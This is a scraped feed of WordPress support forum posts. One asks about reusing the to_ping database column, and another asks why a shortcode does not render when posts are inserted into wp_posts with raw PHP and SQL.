can i use that field without any danger? Will there appear problems ever (i.e. Is that column automatically cleaned or may smth danger happen? IS THERE ANY CODE/HOOK, THAT will DISABLE ANY auto MODIFICATION of that column?)

p.s. I DONT WANT TO USE POST_META, BUT INTERESTED TO USE TO_PING column.

tazo todua on "May i use to_ping column of DATABASE?"

$
0
0

Hi.
I wanted to save some individual post data to each individual to_ping field (in MYSQL database> wp_posts table)
and can i use that field without further problems? Will there appear problems ever(i.e. Is that column automatically cleaned or may smth danger happen?)

Pinoss on "Insert a Post in Wp_post MYSQL"

$
0
0

Hi,
I need to insert some posts and pages into wp_post database with Php code directly. Now the code it's working but I would to insert a Shortcode in the Content of generated post (this shortcode is generated by Shortcode Exec PHP plugin and contains some php lines) . The problem is that when I enter to generated post, the output is : [shortcode]? and not : Hello World (if, for example, the shortocode is echo "Hello World";

I'm using this code:

<?php
$ip = 'myserver';
$user = 'mydatabaseuser';
$password = 'mypass';
$db_name = 'mydatabsename';
$conn = mysql_pconnect($ip,$user,$password) or die();
$error = mysql_select_db($db_name,$conn) or die();

$data="INSERT INTO mydatabsename.wp_posts (ID, post_author, post_date, post_date_gmt, post_content, post_title, post_excerpt, post_status, comment_status, ping_status, post_password, post_name, to_ping, pinged, post_modified, post_modified_gmt, post_content_filtered, post_parent, guid, menu_order, post_type, post_mime_type, comment_count) VALUES ('1202', '0', '2014-09-14 00:00:00', '2014-09-14 00:00:00', '[shortcode]', 'test', 'test', 'publish', 'open', 'open', '', 'test', '', '', '2014-09-14 02:06:11', '2014-09-14 05:21:26', '', '0', '', '0', 'post', '', '0');";

$result_data=mysql_query($data,$conn);

echo "inserted!";

?>

I tried to insert Posts with "wp_insert_post" native function but allways generates duplicates posts in database.

How Can I solve this issue? Wich method is better to insert posts/pages manually in wp_post database?

Thanks in advance.

Viewing all 8245 articles
Browse latest View live




Latest Images